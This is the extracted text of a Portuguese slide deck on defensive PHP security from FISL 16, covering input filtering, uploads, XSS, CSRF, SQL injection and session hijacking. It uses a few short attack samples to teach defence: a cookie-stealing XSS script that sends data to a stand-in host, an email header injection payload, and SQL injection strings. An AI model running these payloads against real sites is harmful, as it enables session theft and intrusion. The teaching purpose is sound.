SlideShare une entreprise Scribd logo
1  sur  154
Télécharger pour lire hors ligne
PHP no Campo
de Batalha
Segurança Avançada
e Programação
Defensiva
Rafael Jaques
@rafajaques
“Porque Deus amou o mundo de tal maneira que deu o seu
Filho Unigênito, para que todo aquele que nele crê não pereça,
mas tenha a vida eterna. Portanto, Deus enviou o seu Filho ao
mundo não para condenar o mundo, mas para que o mundo
fosse salvo por meio dele.” (João 3.16-17)
Rafael Jaques
Professor do Instituto Federal de
Educação, Ciência e Tecnologia do
Rio Grande do Sul.
Graduado em Análise e
Desenvolvimento de Sistemas.
Pós-graduado em Gestão e
Docência do Ensino Superior.
Desenvolvedor web e viciado em
segurança.
www.php-rs.org
Slides da Palestra
1
Segurança da
informação
Pontos-chave da SI
Integridade
Confidencialidade
Disponibilidade
COMO VOU DESENVOLVER
UMA APLICAÇÃO COM
TUDO ISSO?!?!?!?!?!?!
Vamos por partes!
Tudo começa com
planejamento!
2
Planejamento
Planejamento
Projete o seu sistema
Estude antes de implementar
Revise o que foi feito
Conheça o seu ambiente
Planejamento
Projete o seu sistema
Estude antes de implementar
Revise o que foi feito
Conheça o seu ambiente
Conheça o seu ambiente
php.ini
Conheça o seu ambiente
phpinfo()
php.net/manual/ini.php
Conheça o seu ambiente
Altere as configurações
do php.ini
ini_set() httpd.conf
.htaccess php.ini
Conheça o seu ambiente
Gerenciamento de
erros do PHP
display_errors
log_errors error_log
Conheça o seu ambiente
Conhecer o sistema
inclui saber os
problemas do servidor!
Problemas no servidor
Defesa em
profundidade
Problemas no servidor
Lei do menor
privilégio
3
Melhorando o código
desenvolvido
Como desenvolver um
bom código?
Tudo começa com
BOAS PRÁTICAS
Warning: Cannot modify header information -
headers already sent by (output started at /
path/to/script.php:1) in script.php on line 55
Omita as tags
de fechamento
Boas práticas
Utilize extensões
consistentes
Boas práticas
.php
.inc.php
.inc
.php~
.bak
httpd.conf
AddType application/x-httpd-php .php .phtml
DRY
Don’t repeat yourself
Boas práticas
== != ===
Cuidado ao efetuar comparações
Boas práticas
“1” == 1
“1” === 1
true == 1
True
False
true === 1
NULL == false
NULL === falseTrue
True
False
False
Nunca edite arquivos
em produção
Boas práticas
Funções perigosas
exec( )Não execute bobagem no seu sistema
shell_exec( )
system( ) passthru( )
proc_*( )
escapeshellcmd()
escapeshellarg()
eval( )Não execute bobagem no seu código
Funções perigosas
Seu ambiente
também precisa
de cuidado e
atenção
Configuração do ambiente
HeadersPodem denunciar o seu servidor
expose_php php.ini
Apache
ServerTokens
Prod Major Minor Min Os Full
Configuração do ambiente
Gerenciar os
erros pode
salvar seu dia!
Gerenciamento de erros
display_errors
error_reporting
log_errors
error_log
Mostrar erros na tela
Nível de erro mostrado
Logar erros
Arquivo de log
set_error_handler( )
error_log( )
Indica uma função para manipular erros
Loga um erro personalizado
Gerenciamento de erros
4
Filtragem de
dados
Filtragem de dados
Bypass
Mistake Origin
isset( )
is_array( )
is_bool( )
is_float( )
is_int( )
is_null( )
is_numeric( )
is_object( )
is_string( )
Filtragem de dados
Type Casting
Assegure-se dos tipos de dados
$numero = (int) $variavel;
$numero = (float) $variavel;
Filtragem de dados
Type Casting
Assegure-se dos tipos de dados
$numero = settype($variavel, ‘integer’);
$bool = settype($variavel, ‘boolean’);
$texto = settype($variavel, ‘string’);
Filtragem de dados
Type Casting
Assegure-se dos tipos de dados
$numero = intval($variavel);
$numero = floatval($variavel);
$texto = strval($variavel);
Filtragem de dados
ValidateSanitizefilter_var( )
Validating && SanitizingBloqueie valores indesejados
Filtragem de dados
filter_var()
php.net/filter.filters
FILTER_VALIDATE_* FILTER_SANITIZE_*
Validação de dados

Verifica se

determinado valor
encontra-se dentro dos
parâmetros esperados.
Limpeza de dados
Retira de um
determinado valor todos
os caracteres que

não são permitidos.
Validação
filter_var( , )$valor CONSTANTE_FILTRO
Valor filtrado
bool(false)
Validação
FILTER_VALIDATE_INT
“7”
7
0
true
false
int(7)
int(7)
int(0)
int(1)
bool(false)
“10 teste”
“palavra”
-5
3.1
bool(false)
bool(false)
int(-5)
bool(false)
bool(false)+0 || -0
Validação
FILTER_VALIDATE_EMAIL
“rafa@php.net" string(12) “rafa@php.net” “1@2.3" bool(false)
5 bool(false) “1@2” bool(false)
“phpit.com.br” bool(false) “joao quem”@site.com bool(false)
Validação
FILTER_VALIDATE_FLOAT
php.net/filter.filters.validate
FILTER_VALIDATE_BOOLEAN
FILTER_VALIDATE_IP
FILTER_VALIDATE_URL
Limpeza
FILTER_SANITIZE_URL
http://phpit.com.br
http://phpit.com.br£
phpitº.com.br
br¶
§
string(19) "http://phpit.com.br"
string(19) "http://phpit.com.br"
string(12) "phpit.com.br"
string(2) "br"
string(0) ""
FILTER_SANITIZE_STRING
uma string string(10) "uma string"
string(12) "uma string *"
string(21) "uma string<tag>"
Limpeza
<tag>uma string *
<tag>uma string&lt;tag&gt;
Limpeza
FILTER_SANITIZE_EMAIL
php.net/filter.filters.validate
FILTER_SANITIZE_SPECIAL_CHARS
FILTER_SANITIZE_ENCODED
FILTER_SANITIZE_NUMBER_INT
Cuidados com
Formulários
Spoofed Form Submissions
Cuidados com formulários
Spoofed HTTP Requests
Cuidados com formulários
Abuso de form mail
Cuidados com formulários
Abusodeformmail
<?php
$cabecalhos = "From: {$_POST['nome']} <{$_POST['email']}>";
$para = "email@seguro.com";
$assunto = "Contato via site";
$corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);
Abusodeformmail
From: Fulaninho <meu@email.com>
To: email@seguro.com
Subject: Contato via site
Esta é a mensagem do e-mail
Esperado
FulaninhonBcc:um@email.com,spam@enviar.com,
Abusodeformmail
From: Fulaninho
Bcc: um@email.com, spam@enviar.com, <meu@email.com>
To: email@seguro.com
Subject: Contato via site
Aqui coloco uma mensagem de SPAM sobre viagra ou algo assim!
Possível
5
Upload de
arquivos
MIME Type do $_FILES
Upload de arquivos
Algoritmo de
Análise de Conteúdo
Verificar o tipo da imagem
exif_imagetype( )
Upload de arquivos
php.net/function.exif-imagetype
Upload de arquivos
Ressalvar imagens
Upload de arquivos
Diretivas de upload
upload_max_filesize
post_max_size
Upload de arquivos
rafajaques	
  
Palestra	
  de	
  PHP
exemplo.txt
Upload de arquivos
Array	
  
(	
  
	
  	
  	
  [arquivo]	
  =>	
  Array	
  
	
  	
  	
  	
  	
  	
  (	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  [name]	
  =>	
  exemplo.txt	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  [type]	
  =>	
  text/plain	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  [tmp_name]	
  =>	
  /tmp/php3IdMTx	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  [error]	
  =>	
  0	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  [size]	
  =>	
  33	
  
	
  	
  	
  	
  	
  	
  )	
  
)
Upload de arquivos
POST	
  /upload.php	
  HTTP/1.1	
  
Host:	
  localhost	
  
Content-­‐Type:	
  multipart/form-­‐data;	
  boundary=-­‐-­‐-­‐-­‐12345	
  
Content-­‐Length:	
  413	
  
-­‐-­‐-­‐-­‐12345	
  
Content-­‐Disposition:	
  form-­‐data;	
  name="arquivo";	
  
filename="exemplo.txt"	
  
Content-­‐Type:	
  text/plain	
  
rafajaques	
  
Palestra	
  de	
  PHP	
  
-­‐-­‐-­‐-­‐12345-­‐-­‐
Upload de arquivos
Movendo arquivos enviados
is_uploaded_file( )
move_uploaded_file( )
Upload de arquivos
6
Injeção
de código
XSSCross-SiteScripting
XSS
Cross-SiteScripting
<script>
document.location = "http://sitedomal.com?c=" + document.cookie
</script>
XSS
Cross-SiteScripting
Filtrar dados externos
Utilize as funções de filtro
Utilize uma white-list
htmlentities( ) strip_tags( )
XSS
Cross-SiteScripting
Utilize as funções de filtro
utf8_decode( ) filter_var( )
XSS
Cross-SiteScripting
Cuidado com injeção de CSS
expression( ) url( )
Métodos

específicos moz-
binding
CSRFCross-SiteRequestForgery
CSRF
Cross-SiteRequestForgery
http://meusite.com/voto.php?id=1
<img src="http://meusite.com/voto.php?id=1" />
CSRF
Cross-SiteRequestForgery
Exigir um token
Solicitar reautenticação
Prefira POST em vez de GET
Limite o tempo de sessão
Verificar Referer Force o uso de seus formulários
uniqid( )
$_SERVER['HTTP_REFERER']
Outros tipos de injeção
XPath LDAP
Bibliotecas de terceiros
Upload de arquivos
Indo além da
Validação de dados
Além da validação
Regras de negócio
Filtrou a entrada? Filtre a saída!
Não confie nos cookies!
7
Segurança em
bancos de dados
SGBDs suportados pelo PHP
php.net/refs.database
dBaseDB++CUBRID
FrontBaseFireBird/InterbasefilePro
IngresInformixIBM DB2
mSQLMongoMaxDB
OracleMySQLM$ SQL
PostgreSQLParadoxOvrimos SQL
Tokyo TyrantSybaseSQLite
Conceitos básicos de
segurança em
Bancos de Dados
Lei do
Menor Privilégio
Não permita
Acesso Remoto
Prefira utilizar
UTF-8
Escapar caracteres
não é seguro
mysql_real_escape_string( )
addslashes( )
SQL e Blind SQL
Injection
SQLInjection
SQLInjection
Injeção de código SQL arbitrário dentro
de uma consulta legítima.
SQLInjection
SQLInjection
1' OR 1='1
SQLInjection
fulano'# ou fulano' --
SQLInjection
Blind
Injeção de código arbitrário sem
visualização da saída do banco.
BlindSQLInjection
sqlmap
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
Prepared Statements
e ORMs
Prepared Statements
Declarações preparadas
Compila as consultas SQL
Utiliza placeholders
Declarações preparadas
INSERT INTO produtos (nome, preco) VALUES (?, ?)
Prepared Statements
ORM
Object-relational mapping
Reduz a escrita de SQL
Acesso ao banco através de classes
ORMs
Exposição de
credenciais
O que acontece
se alguém tiver
acesso aos
seus arquivos?
E se o PHP
parar de
funcionar?
E se houver um
include mal
programado?
8
Cookies e
sessions
Cookies são client-side
Sessions são server-side
Cookies e Sessions
Cliente Servidor
Requisição HTTP
Resposta HTTP + Set Cookie
Requisição HTTP
Resposta HTTP
Cookies e Sessions
Servidor
session_start()
Verifica se a sessão
existe
Procura pelo SESSID
em um cookie
Procura pelo SESSID
numa querystring
Busca os dados e
cria a $_SESSION
Sim
Sim
Não
Cria uma nova
SESSID
Não
Cookies e Sessions
Roubo de Cookie
(Cookie Theft)
Não costumam existir
vulnerabilidades de
navegador para roubo
de cookies
Tome cuidado com
XSS
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
Cookies também
podem ser roubados
com sniffers
Proteja utilizando HTTPS
Vulnerabilidades
de Sessão
Exposição de Sessão
Dados de sessão podem ser
visualizados via sniff quando
não criptografado com HTTPS
Hospedagens compartilhadas podem
vazar dados dentro dos diretórios com
permissões de leitura a todos
Utilize session_set_save_handler() para alterar o
comportamento de gravação dos dados de sessão
Exposição de Sessão
Não é o roubo de um
ID de sessão.
É a imposição de um!
Fixação de Sessão
Não permita que sejam utilizados
SID não gerados pela aplicação
Fixação de Sessão
Gere um novo SID em
cada requisição
Utilize session_regenerate_id()
Páginas com muito tráfego acabam gerando SID inválidos
Fixação de Sessão
Roubo de Sessão
(Session Hijacking)
Roubo de Sessão
É possível fixar um SID,
forjar ou até mesmo
capturar um cookie!
Algumas sugestões para evitar roubo de sessão (tente
equilibrar usabilidade e segurança):
Gerar tokens únicos por usuário
Verificar User-Agent e IP
Utilizar sessões apenas via cookies
Roubo de Sessão
Não sacrifique a
usabilidade do projeto!
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
não
Boas
práticas
Nunca utilize
cookies
para autenticação
Prefira cookies para informações não-vitais
Utilize sessões sempre em
conjunto com cookies
Ajuda a prevenir o roubo de sessão
pagina.php?PHPSESSID=1234
php.ini
session.use_cookies
session.use_only_cookies
GET / HTTP/1.1
Host: algumsite.com
User-Agent: Mozilla/5.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Cookie: PHPSESSID=3108c6a684a89787947087d4e46f278d
Cache-Control: max-age=0
Cuidado com hospedagem
compartilhada ou dois sites
no mesmo servidor
Pode ocorrer choque de sessão
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
Utilize session_destroy() e
não apenas remova o
cookie
Um cookie roubado pode reinicializar uma sessão
Destrua a sessão antes de
alterar o nível de
permissão de usuário
autenticado
Impede que uma sessão de guest seja utilizada para
um usuário autenticado
9
Tráfego na
web
Fluxo do tráfego
Cliente Servidor
Requisição HTTP
Resposta HTTP
Requisição HTTP
Resposta HTTP
Sniffers em
redes abertas
Wireshark
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
Configurando um
certificado SSL
http://www.phpit.com.br/artigos/configurando-ssl-
servidor-de-desenvolvimento-apache.phpit
Gerando um
certificado
para testes
Alternando entre
HTTP e HTTPS
Leves diferenças na
$_SERVER sob HTTPS
$_SERVER
[HTTP_HOST] => localhost
[SERVER_SOFTWARE] => Apache/2.2.22
[SERVER_NAME] => localhost
[SERVER_ADDR] => 127.0.0.1
[SERVER_PORT] => 80
[REMOTE_ADDR] => 127.0.0.1
[DOCUMENT_ROOT] => /var/www
HTTP
[HTTPS] => on
[SSL_TLS_SNI] => localhost
[HTTP_HOST] => localhost
[SERVER_SOFTWARE] => Apache/2.2.22
[SERVER_NAME] => localhost
[SERVER_ADDR] => 127.0.0.1
[SERVER_PORT] => 443
[REMOTE_ADDR] => 127.0.0.1
[DOCUMENT_ROOT] => /var/www
HTTPS
Force a utilização do
protocolo HTTPS
Via aplicação ou via apache
Monitorar logs
Manter PHP atualizado
Frameworks
Segurança física
Últimas dicas
Sempre que possível, utilize
código refatorado
Exposição phpinfo()
Cuidados ao enviar e-mails
Segurança no sistema de arquivos
Últimas dicas
Obrigado!
Rafael Jaques
rafa@php.net
phpit.com.br
@rafajaques
slideshare.net/rafajaques
youtube.com/realphpit
w
@
Imagens utilizadas
• https://flic.kr/p/5Ndwd8
• https://flic.kr/p/i3NEP6

Contenu connexe

Tendances

Invasão e correção em sites
Invasão e correção em sitesInvasão e correção em sites
Invasão e correção em sitesDaskonet Dasko
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super heroElton Minetto
 
Curso de php do básico ao avançado
Curso de php do básico ao avançadoCurso de php do básico ao avançado
Curso de php do básico ao avançadoThiago Carlos
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPFlavio Souza
 
PHP Aula 05 - E-mails, Cookies e Sessoes
PHP Aula 05 - E-mails, Cookies e SessoesPHP Aula 05 - E-mails, Cookies e Sessoes
PHP Aula 05 - E-mails, Cookies e SessoesDaniel Brandão
 
PHP e MySQL para iniciantes
PHP e MySQL para iniciantesPHP e MySQL para iniciantes
PHP e MySQL para iniciantesEduardo Mendes
 
Introducao ao Shell Script
Introducao ao Shell ScriptIntroducao ao Shell Script
Introducao ao Shell ScriptHugo Maia Vieira
 
Introdução ao PHP - Criação de sites II
Introdução ao PHP - Criação de sites IIIntrodução ao PHP - Criação de sites II
Introdução ao PHP - Criação de sites IIinfo_cimol
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)Bruno Pedro
 
Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Gustavo Neves
 
Django: Desenvolvendo uma aplicação web em minutos
Django: Desenvolvendo uma aplicação web em minutosDjango: Desenvolvendo uma aplicação web em minutos
Django: Desenvolvendo uma aplicação web em minutosRodrigo Nossal
 
Introdução ao Shell Script (versão estendida)
Introdução ao Shell Script (versão estendida)Introdução ao Shell Script (versão estendida)
Introdução ao Shell Script (versão estendida)Hugo Maia Vieira
 

Tendances (20)

Invasão e correção em sites
Invasão e correção em sitesInvasão e correção em sites
Invasão e correção em sites
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
 
Curso de php do básico ao avançado
Curso de php do básico ao avançadoCurso de php do básico ao avançado
Curso de php do básico ao avançado
 
Tratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com phpTratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com php
 
Aula 01 - Curso PHP e MySQL
Aula 01 - Curso PHP e MySQLAula 01 - Curso PHP e MySQL
Aula 01 - Curso PHP e MySQL
 
Tutorial Shell Script
Tutorial Shell ScriptTutorial Shell Script
Tutorial Shell Script
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
 
Hello SAFE World!!!
Hello SAFE World!!!Hello SAFE World!!!
Hello SAFE World!!!
 
Stack based overflow
Stack based overflowStack based overflow
Stack based overflow
 
PHP Aula 05 - E-mails, Cookies e Sessoes
PHP Aula 05 - E-mails, Cookies e SessoesPHP Aula 05 - E-mails, Cookies e Sessoes
PHP Aula 05 - E-mails, Cookies e Sessoes
 
PHP e MySQL para iniciantes
PHP e MySQL para iniciantesPHP e MySQL para iniciantes
PHP e MySQL para iniciantes
 
Introducao ao Shell Script
Introducao ao Shell ScriptIntroducao ao Shell Script
Introducao ao Shell Script
 
Como fazer boas libs
Como fazer boas libs Como fazer boas libs
Como fazer boas libs
 
Introdução ao PHP - Criação de sites II
Introdução ao PHP - Criação de sites IIIntrodução ao PHP - Criação de sites II
Introdução ao PHP - Criação de sites II
 
Curso Gratuito de Shell Script
Curso Gratuito de Shell ScriptCurso Gratuito de Shell Script
Curso Gratuito de Shell Script
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)
 
Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!
 
Django: Desenvolvendo uma aplicação web em minutos
Django: Desenvolvendo uma aplicação web em minutosDjango: Desenvolvendo uma aplicação web em minutos
Django: Desenvolvendo uma aplicação web em minutos
 
Introdução ao Shell Script (versão estendida)
Introdução ao Shell Script (versão estendida)Introdução ao Shell Script (versão estendida)
Introdução ao Shell Script (versão estendida)
 
Shell script
Shell scriptShell script
Shell script
 

En vedette

PHP na Tela Escura: Aplicações Poderosas em Linha de Comando
PHP na Tela Escura: Aplicações Poderosas em Linha de ComandoPHP na Tela Escura: Aplicações Poderosas em Linha de Comando
PHP na Tela Escura: Aplicações Poderosas em Linha de ComandoRafael Jaques
 
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael JaquesPHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael JaquesRafael Jaques
 
Explorando O Potencial Das Linguagens De Programação Open Source
Explorando O Potencial Das Linguagens De Programação Open SourceExplorando O Potencial Das Linguagens De Programação Open Source
Explorando O Potencial Das Linguagens De Programação Open SourceRafael Jaques
 
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...Thiago Dieb
 
Segurança na Era Digital: ensinando novos hábitos aos indivíduos digitais - F...
Segurança na Era Digital: ensinando novos hábitos aos indivíduos digitais - F...Segurança na Era Digital: ensinando novos hábitos aos indivíduos digitais - F...
Segurança na Era Digital: ensinando novos hábitos aos indivíduos digitais - F...Rafael Jaques
 
Fisl 16 – WordPress vs Hacker – descubra o que ainda é preciso saber para bl...
Fisl 16 – WordPress vs Hacker – descubra o que ainda é preciso saber para bl...Fisl 16 – WordPress vs Hacker – descubra o que ainda é preciso saber para bl...
Fisl 16 – WordPress vs Hacker – descubra o que ainda é preciso saber para bl...Thiago Dieb
 
Curso Desenvolvimento WEB com PHP - PHP (parte 1)
Curso Desenvolvimento WEB com PHP - PHP (parte 1)Curso Desenvolvimento WEB com PHP - PHP (parte 1)
Curso Desenvolvimento WEB com PHP - PHP (parte 1)Willian Magalhães
 
Weaving aspects in PHP with the help of Go! AOP library
Weaving aspects in PHP with the help of Go! AOP libraryWeaving aspects in PHP with the help of Go! AOP library
Weaving aspects in PHP with the help of Go! AOP libraryAlexander Lisachenko
 
CakePHP com sotaque brasileiro
CakePHP com sotaque brasileiroCakePHP com sotaque brasileiro
CakePHP com sotaque brasileiroJuan Basso
 
Dicas para aumentar a performance de um software PHP
Dicas para aumentar a performance de um software PHPDicas para aumentar a performance de um software PHP
Dicas para aumentar a performance de um software PHPAlmir Neto
 
C# .NET - Um overview da linguagem
C# .NET - Um overview da linguagem C# .NET - Um overview da linguagem
C# .NET - Um overview da linguagem Claudson Oliveira
 
Conceitos básicos de AEDS
Conceitos básicos de AEDSConceitos básicos de AEDS
Conceitos básicos de AEDSPablo Silva
 
Assembly para pc-25paginas
Assembly para pc-25paginasAssembly para pc-25paginas
Assembly para pc-25paginasMikeNandes
 

En vedette (20)

PHP na Tela Escura: Aplicações Poderosas em Linha de Comando
PHP na Tela Escura: Aplicações Poderosas em Linha de ComandoPHP na Tela Escura: Aplicações Poderosas em Linha de Comando
PHP na Tela Escura: Aplicações Poderosas em Linha de Comando
 
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael JaquesPHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
 
Explorando O Potencial Das Linguagens De Programação Open Source
Explorando O Potencial Das Linguagens De Programação Open SourceExplorando O Potencial Das Linguagens De Programação Open Source
Explorando O Potencial Das Linguagens De Programação Open Source
 
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
 
Segurança na Era Digital: ensinando novos hábitos aos indivíduos digitais - F...
Segurança na Era Digital: ensinando novos hábitos aos indivíduos digitais - F...Segurança na Era Digital: ensinando novos hábitos aos indivíduos digitais - F...
Segurança na Era Digital: ensinando novos hábitos aos indivíduos digitais - F...
 
Fisl 16 – WordPress vs Hacker – descubra o que ainda é preciso saber para bl...
Fisl 16 – WordPress vs Hacker – descubra o que ainda é preciso saber para bl...Fisl 16 – WordPress vs Hacker – descubra o que ainda é preciso saber para bl...
Fisl 16 – WordPress vs Hacker – descubra o que ainda é preciso saber para bl...
 
PNL - Para Casais
PNL - Para CasaisPNL - Para Casais
PNL - Para Casais
 
Data Types In PHP
Data Types In PHPData Types In PHP
Data Types In PHP
 
Curso Desenvolvimento WEB com PHP - PHP (parte 1)
Curso Desenvolvimento WEB com PHP - PHP (parte 1)Curso Desenvolvimento WEB com PHP - PHP (parte 1)
Curso Desenvolvimento WEB com PHP - PHP (parte 1)
 
Weaving aspects in PHP with the help of Go! AOP library
Weaving aspects in PHP with the help of Go! AOP libraryWeaving aspects in PHP with the help of Go! AOP library
Weaving aspects in PHP with the help of Go! AOP library
 
CakePHP com sotaque brasileiro
CakePHP com sotaque brasileiroCakePHP com sotaque brasileiro
CakePHP com sotaque brasileiro
 
Funções em C
Funções em CFunções em C
Funções em C
 
Dicas para aumentar a performance de um software PHP
Dicas para aumentar a performance de um software PHPDicas para aumentar a performance de um software PHP
Dicas para aumentar a performance de um software PHP
 
C# .NET - Um overview da linguagem
C# .NET - Um overview da linguagem C# .NET - Um overview da linguagem
C# .NET - Um overview da linguagem
 
Recursividade
RecursividadeRecursividade
Recursividade
 
Introdução ao PHP
Introdução ao PHPIntrodução ao PHP
Introdução ao PHP
 
Apostila cobol
Apostila cobolApostila cobol
Apostila cobol
 
PROGRAMAS QBASIC
PROGRAMAS QBASICPROGRAMAS QBASIC
PROGRAMAS QBASIC
 
Conceitos básicos de AEDS
Conceitos básicos de AEDSConceitos básicos de AEDS
Conceitos básicos de AEDS
 
Assembly para pc-25paginas
Assembly para pc-25paginasAssembly para pc-25paginas
Assembly para pc-25paginas
 

Similaire à [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php segurosDouglas V. Pasqua
 
PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...
PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...
PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...Tchelinux
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...tdc-globalcode
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEMagno Logan
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasMagno Logan
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraClavis Segurança da Informação
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...iMasters
 
Curso PHP - 1a. Aula (2013.2)
Curso PHP - 1a. Aula (2013.2)Curso PHP - 1a. Aula (2013.2)
Curso PHP - 1a. Aula (2013.2)Jonata Weber
 
Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Helder da Rocha
 
Segurança em PHP: O que você precisa saber
Segurança em PHP: O que você precisa saberSegurança em PHP: O que você precisa saber
Segurança em PHP: O que você precisa saberJota Júnior
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos WebSergio Henrique
 

Similaire à [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques (20)

Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php seguros
 
PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...
PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...
PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
 
Segurança em PHP
Segurança em PHPSegurança em PHP
Segurança em PHP
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
 
Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
 
Web scrapping com selenium webdriver
Web scrapping com selenium webdriverWeb scrapping com selenium webdriver
Web scrapping com selenium webdriver
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
 
Rumo à Certificação PHP
Rumo à Certificação PHPRumo à Certificação PHP
